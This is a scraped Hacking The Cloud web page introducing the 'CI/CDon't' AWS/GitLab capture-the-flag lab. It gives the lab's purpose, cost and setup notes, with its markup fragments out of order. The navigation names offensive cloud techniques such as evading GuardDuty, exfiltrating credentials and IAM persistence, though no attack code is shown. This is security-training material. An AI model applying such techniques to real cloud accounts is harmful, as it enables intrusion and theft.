GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7 checked> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=true> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> CI/CDon't </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> CI/CDon't </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#background class=md-nav__link> <span class=md-ellipsis> Background </span> </a> </li> <li class=md-nav__item> <a href=#how-to-play class=md-nav__link> <span class=md-ellipsis> How to Play </span> </a> </li> <li class=md-nav__item> <a href=#the-important-bits class=md-nav__link> <span class=md-ellipsis> The Important Bits </span> </a> </li> <li class=md-nav__item> <a href=#the-story class=md-nav__link> <span class=md-ellipsis> The Story </span> </a> </li> <li class=md-nav__item> <a href=#the-objective class=md-nav__link> <span class=md-ellipsis> The Objective </span> </a> </li> <li class=md-nav__item> <a href=#feedback class=md-nav__link> <span class=md-ellipsis> Feedback </span> </a> </li> <li class=md-nav__item> <a href=#walkthrough class=md-nav__link> <span class=md-ellipsis> Walkthrough </span> </a> </li> <li class=md-nav__item> <a href=#acknowledgements class=md-nav__link> <span class=md-ellipsis> Acknowledgements </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#background class=md-nav__link> <span class=md-ellipsis> Background </span> </a> </li> <li class=md-nav__item> <a href=#how-to-play class=md-nav__link> <span class=md-ellipsis> How to Play </span> </a> </li> <li class=md-nav__item> <a href=#the-important-bits class=md-nav__link> <span class=md-ellipsis> The Important Bits </span> </a> </li> <li class=md-nav__item> <a href=#the-story class=md-nav__link> <span class=md-ellipsis> The Story </span> </a> </li> <li class=md-nav__item> <a href=#the-objective class=md-nav__link> <span class=md-ellipsis> The Objective </span> </a> </li> <li class=md-nav__item> <a href=#feedback class=md-nav__link> <span class=md-ellipsis> Feedback </span> </a> </li> <li class=md-nav__item> <a href=#walkthrough class=md-nav__link> <span class=md-ellipsis> Walkthrough </span> </a> </li> <li class=md-nav__item> <a href=#acknowledgements class=md-nav__link> <span class=md-ellipsis> Acknowledgements </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/capture_the_flag/cicdont.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>CI/CDon't</h1> <p>Link to Project: <a href=https://github.com/Hacking-the-Cloud/htc-ctfs/tree/main/aws/cicdont>CI/CDon't</a></p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>This project will deploy intentionally vulnerable software/infrastructure to your AWS account. Please ensure there is no sensitive or irrecoverable data in the account. Attempts have been made to mitigate this however they may not be fullproof; Security Group rules only allow access to the vulnerable EC2 instance from your public IP address, and a randomly generated password is required to access it.</p> </div> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>If you intend to play the CTF it is a good idea to read through this page carefully to ensure you have all the details (minus the walkthrough). This page will familiarize the player with how the CTF works, what the objective is, and what the storyline is.</p> </div> <h2 id=background>Background<a class=headerlink href=#background title="Permanent link">&para;</a></h2> <p>This is an AWS/GitLab CI/CD themed CTF that you can run in your own AWS account. All that is required is an AWS account and Terraform <a href=https://learn.hashicorp.com/tutorials/terraform/install-cli>installed</a> locally on your machine.</p> <p>Costs should be minimal; running this infrastructure in my own account for three hours didn't accrue a cent in the Billing Dashboard, however extended time frames may cause costs to add up.</p> <p>In terms of difficulty, it would be rated low. The goal is more about having fun and working through some simple CI/CD/AWS challenges that even non-security folks would enjoy.</p> <h2 id=how-to-play>How to Play<a class=headerlink href=#how-to-play title="Permanent link">&para;</a></h2> <p>Clone this repository and navigate to the cicdont directory.</p> <div class=highlight><pre><span></span><code>git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#background class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> CI/CDon't </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " 